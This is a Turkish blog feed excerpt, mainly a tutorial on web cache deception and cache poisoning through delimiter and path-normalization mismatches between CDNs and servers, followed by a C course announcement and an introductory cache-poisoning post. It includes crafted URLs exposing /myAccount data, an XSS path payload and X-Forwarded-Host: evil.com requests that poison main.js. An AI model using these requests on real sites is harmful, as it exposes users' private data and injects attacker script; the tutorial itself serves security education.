<p>Aşağıdaki tabloya bakarak  <code class="language-plaintext highlighter-rouge">/hello/..%2fworld</code> adresinin farklı HTTP sunucuları ve web cache proxy’leri üzerinde nasıl normalize edildiğini görebilirsiniz.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image.png" alt="image.png" class="responsive img-zoomable" /></p>

<p><a href="https://portswigger.net/research/gotta-cache-em-all" target="_blank">Resim kaynağı:</a></p>

<p>HTTP sunucusu ve cache hizmeti üzerindeki bu tutarsızlıkların neden olabileceği zafiyet için <a href="https://www.linuxdersleri.net/web-cache-deception" target="_blank">web cache deception</a> açıklarına göz atabilirsiniz. Bu konudan bahsederek devam edelim.</p>

<h1 id="web-cache-deception">Web Cache Deception</h1>

<p>Önbellek mekanizması, sunucudan bir yanıt aldığında, bu yanıtın statik olup olmadığına yani saklanıp saklanmaması gerektiğine karar vermesi gerekiyor. Bu kararı da, daha önceden belirlenmiş olan isteğe bağlı özelleştirilebilir kurallar etkiler. Biz de bu bölümde, bir yanıtın önbelleğe alınıp alınmaması gerektiğini belirlemek için kullanılan URL kurallarına odaklanacağız.</p>

<p>Kuralları emellerimize göre kötüye kullanarak; dinamik olan içeriklere erişmemiz yani aslında çoğunlukla diğer kullanıcılara özel olan hassas değişken verilere statik verilermişçesine önbellekten ulaşmamız mümkün olacak.</p>

<h2 id="limitler">Limitler</h2>

<p>Oluşturduğumuz URL kurbanların tarayıcısı üzerinde kullanılacağı için, URL adresinde yer alan payloadlar yalnızca güvenli URL karakterlerini içermelidir. Çünkü tarayıcılar göndermeden önce encode işlemi yapmazlar.</p>

<p>Kurbanın tarayıcısını, belirli karakterleri encode eden ve URL’deki bazı bölümleri kaldıran bir proxy gibi düşünün. Bu sayede buna uygun URL üretip kurbana göndermek gerektiğinin farkında olursunuz. Zira Burp gibi proxy araçları üzerinden gönderdiğiniz URL ile standart tarayıcılar üzerinden kurban tarafından kullanılanlar aynı olmayacak.</p>

<h2 id="statik-uzantılılar">Statik Uzantılılar</h2>

<p>Cloudflare ve Akamai gibi CDN’lerin pek çoğu, statik uzantı olarak kabul ettikleri <strong><em>.js .css</em></strong> gibi uzantıları gördükleri bu yanıtları statik olarak kabul edip önbelleğe depolarlar.</p>

<p>Her CDN servisinin hangi uzantıları statik olarak kabul edeceği görmek için bizzat servis dokümanlarına bakmanız yeterli. Örneğin Cloudflare aşağıdakileri statik olarak kabul ediyor:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%201.png" alt="image.png" class="responsive img-zoomable" /></p>

<p><a href="https://portswigger.net/research/gotta-cache-em-all#extensions">Resim kaynağı:</a></p>

<h2 id="statik-uzantıların-kötüye-kullanımı">Statik Uzantıların Kötüye Kullanımı</h2>

<p>Bir karakter hedef sunucu üzerinde delimiter olarak kabul edilip, cache mekanizması üzerinde kabul edilmediğinde bundan faydalanarak sunucu tarafındaki hassas verilerin cache üzerinde depolanmasını sağlayabiliriz.</p>

<p>Örneğin dolar işaretinin sunucu tarafında sınırlayıcı yani delimiter karakteri olarak kullanıldığını ama cache üzerinde delimiter olarak kabul edilmediğini varsayalım. Bu durumda kullanıcının hesap bilgilerini barındıran <strong>/myAccount</strong> adresindeki verilerin önbelleğe alınması için <strong>/myAccount$static.css</strong> isteğini göndermemiz yeterli.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%202.png" alt="image.png" class="responsive img-zoomable" /></p>

<p>Gördüğünüz gibi sonunda <strong><em>.css</em></strong> uzantısı olduğu ve cache mekanizması <code class="language-plaintext highlighter-rouge">$</code> işaretini delimiter olarak kabul etmediği için bu isteğe verilecek yanıt önbelleğe alınacak. Sunucu  tarafında ise <code class="language-plaintext highlighter-rouge">$</code> işareti delimiter olarak kabul edildiği için <strong>/myAccount</strong> adresindeki bilgiler önbellek mekanizmasına yanıt olarak gönderilecek.</p>

<p>Ayrıca bu tekniği encode edilmiş karakter veya dize üzerinden de gerçekleştirebilirsiniz. Bu yaklaşım, hedef sunucunun URL parsing yani ayrıştırma yapmadan önce delimiter karakterlerini decode ettiği durumda ya da cache tarafından bu path yeniden yazılıp yönlendirildiğine kullanılabilir. Örneğin, encode edilmemiş hashtag <code class="language-plaintext highlighter-rouge">#</code> sembolü, tarayıcı tarafından gönderilmediğinden önbellek aldatması için işe yaramaz, ancak encode edilmişse istismar için kullanılabilir:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%203.png" alt="image.png" class="responsive img-zoomable" /></p>

<p>Hedefe uygun benzer yaklaşımları değiştirerek kullanabiliriz. Örneğin eğer aradaki proxy veya load balancer gibi yapılar decode işlemi uyguluyorsa çift encode işlemi ile aradaki yönlendirmeleri sorunsuz kılabiliriz.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%204.png" alt="image.png" class="responsive img-zoomable" /></p>

<h2 id="statik-dizinler">Statik Dizinler</h2>

<p>Neredeyse tüm CDN hizmetlerinde, dizin altındaki tüm her şeyin önbelleğe alınması gerektiğini belirten statik dizinler tanımlanabiliyor. Bu dizinlere örnekler:</p>

<ul>
  <li>/static</li>
  <li>/assets</li>
  <li>/wp-content</li>
  <li>/media</li>
  <li>/templates</li>
  <li>/public</li>
  <li>/shared</li>
</ul>

<p>Bu sayede örneğin /static dizini altındaki tüm dizinlerdeki yanıtlar önbelleğe alınacak denilmiş oluyor.</p>

<h3 id="statik-dizinleri-delimiter-sayesinde-kötüye-kullanmak">Statik Dizinleri Delimiter Sayesinde Kötüye Kullanmak</h3>

<p>Eğer bir karakter hedef sunucu tarafından delimiter olarak kullanıyor ama cache mekanizmasında kullanılmıyorsa ve cache mekanizması path adresini statik dizin kuralından önce normalize ediyorsa, path traversal karakterlerini delimiter ardında gizleyebilirsiniz:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="p">&lt;</span><span class="nc">Dynamic_Resource</span><span class="p">&gt;&lt;</span><span class="nc">Delimiter</span><span class="p">&gt;&lt;</span><span class="nc">Encoded_Dot_Segment</span><span class="p">&gt;&lt;</span><span class="nc">Static_Directory</span><span class="p">&gt;</span>
</code></pre></div></div>

<p>Burada path traversal için nokta bölümünü encode etmek önemli. Aksi halde kurbanın tarayıcısı bu url adresini bozacaktır.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%205.png" alt="image.png" class="responsive img-zoomable" /></p>

<p>Burada <strong>/myAccount$/..%2Fstatic/any</strong> isteğini kurban kendi tarayıcısında açtı. Bu url adresi aynen cache mekanizmasına iletildi.</p>

<p>Cache mekanizması almış olduğu <strong>/myAccount$/..%2Fstatic/any</strong> URL adresini normalleştirerek sunucunun vereceği yanıtı <strong>/static/any</strong> adresinin önbelleği olarak tutmak üzere bekler.</p>

<p>Sunucu kendisine gelmiş olan <strong>/myAccount$/..%2Fstatic/any</strong> isteğini <code class="language-plaintext highlighter-rouge">$</code> delimiter karakteri sayesinde /myAccount olarak kabul eder. Bu adresteki hassas bilgileri önbelleğe yanıt olarak döndürür.</p>

<p>Hedefteki cache mekanizmasının URL adreslerini nasıl ve ne koşulda normalize ettiğine göre yaklaşımlar değişiklik gösterebilir. Fakat ilgili çözümlerin dokümantasyonları sayesinde hangi yaklaşımın işe yarayabileceğini öngörebilirsiniz.</p>

<h3 id="statik-dizinleri-normalizasyon-sayesinde-kötüye-kullanmak">Statik Dizinleri Normalizasyon Sayesinde Kötüye Kullanmak</h3>

<p>Hedef sunucunun path adresini normalize edip cache mekanizmasının etmediği durumda, path traversal için nokta karakterlerini ekleyerek sunucu tarafında işlenmesini sağlayabiliriz.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="p">&lt;</span><span class="nc">Static_Directory</span><span class="p">&gt;&lt;</span><span class="nc">Encoded_Dot_Segment</span><span class="p">&gt;&lt;</span><span class="nc">Dynamic_Resource</span><span class="p">&gt;</span>
</code></pre></div></div>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%206.png" alt="image.png" class="responsive img-zoomable" /></p>

<p>Cloudflare, Google Cloud ve Fastly varsayılan olarak cache kuralını hesaplamadan önce path adresini normalize etmez. Eğer hedef sunucu Nginx, Microsoft ISS ve OpenListeSpeed gibi normalize ediyorsa buradaki saldırıyı gerçekleştirmek mümkün olabilir.</p>

<p>Microsoft IIS’yi ters slash <code class="language-plaintext highlighter-rouge">\</code> dönüştürmeyen herhangi bir web önbelleğiyle birleştirirken başka bir normalleştirme tutarsızlığı ortaya çıkar. Bu önbellekler encode şekildeki ters eğik çizgileri normal eğik çizgiler olarak yorumlar. Test edilen hiçbir CDN bu dönüşümü tanımadığından, IIS bu tür ürünlerle kullanıldığında saldırıya açıktır.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%207.png" alt="image.png" class="responsive img-zoomable" /></p>

<h2 id="statik-dosyalar">Statik Dosyalar</h2>

<p><em>/robots.txt</em>, <em>/favicon.ico</em> ve <em>/index.html</em> gibi bazı dosyalar statik bir dizin içinde veya statik olarak kabul edilen bir uzantıda olmayabilirler. Fakat bunlar genellikle sık değişmedikleri için önbellekte tutulmaları için özel kural tanımlanmış olabilir. Bu amaçla, tam dosya yolu ve ismi ile eşleşenlerin önbelleğe alınması kuralı tanımlanmış olabilir. Örneğin CloudFlare gibi CDN’ler varsayılan olarak bu kurala sahiptir ve her zaman <em>robots.txt</em> veya <em>favicon.ico</em> yanıtlarını saklarlar.</p>

<p>Bu durumu kötüye kullanmak için önbellek mekanizmasında normalize etme ve sunucu tarafında da delimiter karakterini dikkate alma durumunda aşağıdaki gibi bir istek gönderilebilir.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="p">&lt;</span><span class="nc">Dynamic_Resource</span><span class="p">&gt;&lt;</span><span class="nc">Delimiter</span><span class="p">&gt;&lt;</span><span class="nc">Encoded_Dot_Segment</span><span class="p">&gt;&lt;</span><span class="nc">Static_File</span><span class="p">&gt;</span>
</code></pre></div></div>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%208.png" alt="image.png" class="responsive img-zoomable" /></p>

<p>Bu sayede önbellek, sunucundan gelen <em>/myAccount</em> yanıtını <em>/robot.txt</em> dizinini ziyaret edenlere sunuyor olacak.</p>

<h1 id="web-cache-poisoning">Web Cache Poisoning</h1>

<p>Normalde web cache poisoning açığında, hedefteki kullanıcını ilgili spesifik url adresini ziyaret etmesi gerekir. Örneğin <em>/home_paramatere=xss</em> gibi bir adresi ziyaret etmesi gerekir. Bu da zafiyetin etkisini düşüren bir durum. Bunun yerine path confusion ve cache poisoning açıklarını birleştirerek yaygın ziyaret edilen ana sayfa gibi standart sayfaların dahi zehirlenmesini sağlamak mümkün olabilir.</p>

<h2 id="key-normalization">Key Normalization</h2>

<p>Bir URL’yi normalize etmek genellikle istenen kaynağın mutlak yolunu elde etmeye yardımcı olan güvenli bir eylem olarak kabul edilir. Ancak, bir önbellek anahtarındaki nokta bölümlerini ve kodlamaları çözümlemek, eğer kaynak sunucu yolu aynı şekilde yorumlamıyorsa, saldırganın rastgele kaynakları zehirlemesine olanak tanıyabilir.</p>

<p>Aşağıdaki saldırıların tümü, önbellek anahtarını oluşturmadan önce URL’nin normalleştirildiğini varsayar. Bu, çoğu CDN’de yapılandırılabilir ve Microsoft Azure ve Imperva’da varsayılan bir davranıştır.</p>

<h3 id="haritalama-farklılıklarından-yararlanma">Haritalama Farklılıklarından Yararlanma</h3>

<p>Sunucuya ulaşan istek ile sunucu hangi kaynağa erişilmek istendiğini anlamak için mapping denilen haritalama yöntemi ile kaynağın tespitini sağlar.</p>

<p>Hedefteki sunucu özel bir mapping yönetimi kullanmadığında ve yanıtı üretmeden önce path adresini normalize etmediğinde, önbelleğe depolanacak verileri kontrol etmek mümkün olabilir. Bunun klasik bir örneği, var olmayan bir endpoint ziyaret edildiğinde self-reflected XSS’ye sahip olan uygulamalardır.</p>

<p>Aşağıdaki gibi bir istek ve yanıt olduğunu düşünelim:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>X<span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">server</span><span class="p">.</span><span class="nx">com</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">404</span> <span class="nx">Not</span> <span class="nx">Found</span>
<span class="nx">Content</span><span class="o">-</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">text</span><span class="o">/</span><span class="nx">html</span>
<span class="nx">Cache</span><span class="o">-</span><span class="nx">Control</span><span class="p">:</span> <span class="kr">public</span>

<span class="nx">Not</span> <span class="nx">Found</span> <span class="o">/</span><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>X<span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</code></pre></div></div>

<p>Görüldüğü gibi kötü amaçlı xss yükü URL’nin bir parçası ve önbelleğe alınıp yanıt olarak döndürülüyor. Fakat hedefteki kullanıcı bu spesifik URL adresini ziyaret etmediği sürece bu saldırı işe yaramaz.</p>

<p>Fakat eğer, cache key normalize edilirse, aşağıdaki veri, <em>/home</em> gibi çok ziyaret edilen bir endpoint’i kötü niyetli yanıtla zehirler:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="p">&lt;</span><span class="nc">Backend_Path</span><span class="p">&gt;&lt;</span><span class="nc">Path_Traversal</span><span class="p">&gt;&lt;</span><span class="nc">Poisoned_Path</span><span class="p">&gt;</span>
</code></pre></div></div>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%209.png" alt="image.png" class="responsive img-zoomable" /></p>

<h2 id="back-end-delimiter-karakterlerinin-kötüye-kullanımı">Back-end delimiter karakterlerinin kötüye kullanımı</h2>

<p>Bir karakter hedef sunucu üzerinde delimiter olarak kullanılırken cache mekanizması üzerinde kullanılmıyorsa, önbelleğe alınabilir kaynak için isteğe bağlı bir anahtar oluşturmak mümkün olabilir.</p>

<p>Burada <code class="language-plaintext highlighter-rouge">$</code> delimiter karakteri, back-end(hedef sunucunun) in <code class="language-plaintext highlighter-rouge">/../</code> çözümlemesini durduracaktır.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="p">&lt;</span><span class="nc">Backend_Path</span><span class="p">&gt;&lt;</span><span class="nc">Delimiter</span><span class="p">&gt;&lt;</span><span class="nc">Path_Traversal</span><span class="p">&gt;&lt;</span><span class="nc">Poisoned_Path</span><span class="p">&gt;</span>
</code></pre></div></div>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%2010.png" alt="image.png" class="responsive img-zoomable" /></p>

<h2 id="front-end-delimiter-karakterlerinin-kötüye-kullanımı">Front-end delimiter karakterlerinin kötüye kullanımı</h2>

<p>Web Cache Deception saldırılarında parsing tutarsızlığına, delimiter karakterinin önbellekte değil yalnızca hedef sunucuda kullanılması neden olur. Tarayıcı aracılığıyla gönderilebilecek, önbellek sunucusu için özel anlamı olan bir karakter bulmak zordur. Ancak web cache poisoning kullanıcı etkileşimi gerektirmediğinden hash <code class="language-plaintext highlighter-rouge">#</code> gibi delimiter karakterler yol karışıklığına neden olabilir. Girdideki bölümler HTTP server, CDN ve backend frameworkleri üzerinde farklı şekilde ele alındığı için aşağıdaki gibi bir tablo ortaya çıkıyor:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%2011.png" alt="image.png" class="responsive img-zoomable" /></p>

<p>Bu nedenle, path normalizasyonu yapan ve hash <code class="language-plaintext highlighter-rouge">#</code> karakterini delimiter olarak ele alan Microsoft Azure gibi ortamlarda, depolanan kaynağın önbellek anahtarını değiştirmek için bunu kullanmak mümkündür:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="p">&lt;</span><span class="nc">Poisoned_Path</span><span class="p">&gt;&lt;</span><span class="nc">Front</span><span class="err">-</span><span class="na">End_Delimiter</span><span class="p">&gt;&lt;</span><span class="nc">Path_Traversal</span><span class="p">&gt;&lt;</span><span class="nc">Backend_Path</span><span class="p">&gt;</span>
</code></pre></div></div>

<p>Bu teknik, önbellek tarafından kullanılan herhangi bir sınırlayıcıya uygulanabilir. Tek gereksinim, anahtarın normalleştirilmesi ve sınırlayıcıdan sonraki son ek ile yolun iletilmesidir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%2013.png" alt="image.png" class="responsive img-zoomable" /></p>

<h1 id="olası-gerçek-dünya-örnekleri">Olası Gerçek Dünya Örnekleri</h1>

<p>Örneğin X-Forwarded-Host başlığındaki adresin websitesindeki yönlendirme üzerinde etkili olduğu bir durumu varsaylım:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">home</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">server</span><span class="p">.</span><span class="nx">com</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">Host</span><span class="p">:</span> <span class="nx">evil</span><span class="p">.</span><span class="nx">com</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">302</span> <span class="nx">Found</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">http</span><span class="p">:</span><span class="c1">//evil.com/index.html</span>
</code></pre></div></div>

<p>Görüldüğü gibi istenilen yönlendirme yapılabilyor fakat bu önbelleğe alınmadığı için diğer kullanıcıların bu isteği yapmasını sağlayamazsınız. Çünkü standart web tarayıcıları üzerinden kullanıcıların XFF başlığını girmesini bekleyemezsiniz. Fakat eğer cache key ile backend tarafındaki parser üzerinde şimdiye kadar ele aldığımız gibi bir uyumsuzluk varsa bu isteğin önbelleğe alınmasını sağlamak mümkün olabilir.</p>

<p>Örneğin eğer ilgili websitesi ana sayfasında <em>main.js</em> isimli bir script dosyasını yüklüyorsa, bu dosya konumunu zehirleyerek ana sayfa üzerinde istediğimiz script kodunu çalıştırabiliiriz.</p>

<p>Bunun için aşağıdaki gibi bir istek gönderebiliriz:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">main</span><span class="p">.</span><span class="nx">js</span><span class="err">#</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="nx">home</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">server</span><span class="p">.</span><span class="nx">com</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">Host</span><span class="p">:</span> <span class="nx">evil</span><span class="p">.</span><span class="nx">com</span>
</code></pre></div></div>

<p>Bu isteği alan cache mekanizması <code class="language-plaintext highlighter-rouge">#</code> delimiter karakteri dolayısıyla yalnızca <strong>main.js</strong> kısmını önbelleğe alacak. Sunucu ise kendisine iletilen bu istekteki path traversal karakteri dolayısıyla /home dizininin içeriğini önbellek sunucusuna yanıt olarak dönecek. Ve aşağıdaki gibi bir yanıt ortaya çıkacak:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">302</span> <span class="nx">Found</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">http</span><span class="p">:</span><span class="c1">//evil.com/home.html</span>
</code></pre></div></div>

<p>Bu sayede aslında kullanıcı ana sayfayı ziyaret ettiğinde önbellekten <em>main.js</em> dosyası çağırılarak bizim zehirlemiş olduğumuz önbellek dolayısıyla evil.com adresindeki içerik çekilecek. Bu aşamada dilediğimiz javascript kodunu çalıştırmamız mümkün.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%2013.png" alt="image.png" class="responsive img-zoomable" /></p>

<p>Ayrıca aşağıdaki gibi yönlendirme yapılan bir diğer senaryoda:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">redirect</span><span class="p">?</span><span class="nx">somePage</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">vulnerable</span><span class="p">.</span><span class="nx">com</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">Host</span><span class="p">:</span> <span class="nx">evil</span><span class="p">.</span><span class="nx">com</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">302</span> <span class="nx">Found</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">http</span><span class="p">:</span><span class="c1">//evil.com/somePage</span>
<span class="nx">Cache</span><span class="o">-</span><span class="nx">Control</span><span class="p">:</span> <span class="kr">public</span><span class="p">,</span> <span class="nx">max</span><span class="o">-</span><span class="nx">age</span><span class="o">=</span><span class="mi">3600</span>
</code></pre></div></div>

<p>Herhangi bir statik uzantılı dizini zehirlememize gerek kalmadan benzer metot ile isteğimiz dizinden, istediğimiz herhangi bir dizini zehirlememiz de mümkün olabilir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning-icin-kurallari-esnetmek/image%2014.png" alt="image.png" class="responsive img-zoomable" /></p>

<h1 id="kaynakça-ve-i̇leri-okuma">Kaynakça ve İleri Okuma</h1>

<ul>
  <li><a href="https://portswigger.net/research/gotta-cache-em-all" target="_blank">Gotta cache ‘em all: bending the rules of web cache exploitation</a></li>
</ul>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="web" /><category term="güvenlik" /><summary type="html"><![CDATA[Cache Poisoning saldırıları için mevcut kuralları nasıl esnetebileceğimizi ele almak üzere buradaki yazıyı açıklama gayretinde olacağım. Fakat mevcut yazı içerisinde çoğu durumda Türkçe yerine pek çok kavramın İngilizce şekilde kullanıldığını belirtmem gerek. İleri okumalarda ve genel araştırmalarda kavramlar her daim İngilizce olacağı için bu yaklaşımı tercih ediyorum.]]></summary></entry><entry><title type="html">C ve Sistem Programlama Eğitim Duyurusu 📢</title><link href="https://www.linuxdersleri.net/c-egitimi" rel="alternate" type="text/html" title="C ve Sistem Programlama Eğitim Duyurusu 📢" /><published>2024-08-10T00:00:00+00:00</published><updated>2024-08-10T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/c-egitimi</id><content type="html" xml:base="https://www.linuxdersleri.net/c-egitimi"><![CDATA[<p><a href="https://www.linkedin.com/in/hwpplayer1" target="_blank">Mert Gör</a>‘ün C ve Sistem Programcıları Derneği C, Sistem Programlama ve Linux kursları notlarını temel alarak ele alacağı ücretsiz eğitimin detayları:</p>

<h3 id="eğitimin-hedef-ve-amacı">Eğitimin Hedef ve Amacı</h3>

<p>En kısa sürede temel bilgilerden başlayıp sistem programlamayı ve Linux çekirdek programlamayı öğretmek.</p>

<h3 id="eğitimin-verileceği-ortam">Eğitimin Verileceği Ortam</h3>

<p>Eğitim meet.jit.si üzerinden verilip eğitim videoları Youtube üzerinde yayınlanacak.
<a href="https://www.youtube.com/@masscollaborationlabs" target="_blank">youtube.com/@masscollaborationlabs</a></p>

<p>Eğitimin 1 yıl içinde( tüm kurslar) tamamlanması planlanıyor. İlk olarak Git ortamında yazılı kaynaklar üzerinden ilerlenip, ileride videolar üzerinden devam edilecektir.</p>

<h3 id="eğitimde-referans-alınan-dokümanlar">Eğitimde Referans Alınan Dokümanlar</h3>

<ul>
  <li><a href="https://github.com/hwpplayer1/c-course" target="_blank">GitHub</a></li>
  <li><a href="https://gitlab.com/hwpplayer1/c-course" target="_blank">GitLab</a></li>
  <li><a href="https://git.sr.ht/~mertgor/c-course" target="_blank">SourceHut</a></li>
  <li><a href="https://git.disroot.org/hwpplayer1/c-course" target="_blank">Disroot</a></li>
  <li><a href="https://codeberg.org/hwpplayer1/c-course" target="_blank">Codeberg</a></li>
  <li><a href="https://git.truvalinux.org.tr/hwpplayer1/c-course" target="_blank">Truvalinux</a></li>
</ul>

<h3 id="i̇letişim-adresi">İletişim Adresi</h3>

<p>Daha fazla bilgi almak veya sorularınızı iletmek için aşağıdaki kanalları kullanabilirsiniz:</p>

<p><strong>E-Posta:</strong> mertgor[at]procyberian.xyz</p>

<p><strong>GPG Key:</strong> 0xD5A31B8B1A6F02BC</p>

<p><strong>Telegram Guruba Katılmak İçin:</strong> <a href="https://t.me/masscollabs">t.me/masscollabs</a></p>

<p><a href="https://labs.masscollabs.xyz/blog/2024/08/10/our-c-programming-language-training/" target="_blank">masscollabs</a></p>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="eğitim" /><category term="duyuru" /><summary type="html"><![CDATA[Mert Gör‘ün C ve Sistem Programcıları Derneği C, Sistem Programlama ve Linux kursları notlarını temel alarak ele alacağı ücretsiz eğitimin detayları:]]></summary></entry><entry><title type="html">Örneklerle Web Cache Poisoning</title><link href="https://www.linuxdersleri.net/web-cache-poisoning-zafiyeti" rel="alternate" type="text/html" title="Örneklerle Web Cache Poisoning" /><published>2024-08-06T00:00:00+00:00</published><updated>2024-08-06T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/web-cache-poisoning-zafiyeti</id><content type="html" xml:base="https://www.linuxdersleri.net/web-cache-poisoning-zafiyeti"><![CDATA[<h1 id="temel-konseptler">Temel Konseptler</h1>

<h2 id="önbelleğe-almaya-giriş">Önbelleğe Almaya Giriş</h2>

<p>Önbellek zehirlenmesi(Cache poisoning) konusunu anlamak için temelde web önbellek(cache) mekanizmasının nasıl çalıştığını bilmemiz gerek.</p>

<p>Web önbelleği, uygulama sunucusu ile kullanıcı arasında yer alır. Bu sayede belirli yanıtların kopyalarını kaydedip, gerektiğinde uygulama sunucusuna gitmeden kullanıcılara bu yanıt kopyaları sunabilirler. Örnek olarak aşağıdaki diyagramda aynı kaynağa erişmeye çalışan üç kullanıcı bulunuyor.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/onbellek-mekanizmasi.png" alt="onbellek-mekanizmasi" class="responsive img-zoomable" /></p>

<p>Diyagram üzerinden de görebildiğiniz gibi bu yaklaşım sayesinde, aynı istek için her defasında uygulama sunucusu ile iletişime geçip meşguliyet yaratmaya gerek  kalmaz. Önbellek yaklaşımı sayesinde, gecikmeyi azaltarak sayfa yüklemelerini hızlandırmak ve ayrıca uygulama sunucusundaki yükü azaltmak mümkün olur. Peki önbellek mekanizmaları nasıl sağlanır ?</p>

<p>Bazı şirketler Varnish gibi yazılımları kullanarak kendi önbelleklerini barındırırken diğerleri, önbelleklerin coğrafi konumlara dağıldığı Cloudflare gibi bir <strong>C</strong>ontent <strong>D</strong>elivery <strong>N</strong>etwork (<strong>CDN</strong>) yani İçerik Dağıtım Ağı’na güvenmeyi tercih eder. Bu sayede global ölçekte kullanıcılara en yakın önbellek sunucuları üzerinden ilgili yanıt hızla dönülebilir.</p>

<p>Ayrıca bu yaklaşımlar dışında Drupal gibi bazı popüler web uygulamalar ve frameworkler de zaten halihazırda yerleşik bir önbelleğe sahiptir. Bu sayede uygulama sunucusunun her defasında ilgili yanıtı sıfırdan işlemesine gereken kalmadan yanıt döndürülebilir.</p>

<p class="mavi"><strong>ℹ️ Not:</strong> İstemci tarafında depolanan tarayıcı önbellekleri ve DNS önbellekleri gibi başka önbellek türleri de mevcut lakin bunlar bu araştırmanın odak noktası olmadığı için bunları şimdilik es geçebiliriz.</p>

<h2 id="önbellek-anahtarları--cache-keys">Önbellek anahtarları | <strong>Cache keys</strong></h2>

<p>Peki hangi istekler önbellekte tutulur ? Neticede tüm istekler önbelleğe alınmayacağına göre hangi isteklerin seçileceğine nasıl karar verilir ?</p>

<p>Önbelleğe hangi isteklerin alınması gerektiğine karar vermek için istekle birlikte gelen bazı değerlerin “<strong>anahtar</strong>” yani “<strong>key</strong>” olarak seçilip, bu anahtarlara göre benzersiz önbellekler tutulması gerekir. Peki bu ne demek oluyor. Örneğin basit bir önbellek mekanizmasında; statik içeriğe sahip sayfa için aynı URL adresini ziyaret edecek olan iki kullanıcı düşünelim. Bu önbellek mekanizması URL adresine bakarak ilk istekten sonra sunucunun döndürmüş olduğu yanıtı, tam olarak bu URL adresi ile eşleştirerek tekrar bu URL talep edildiğinde hızlıca önbellekten bu yanıtı döndürebilir.</p>

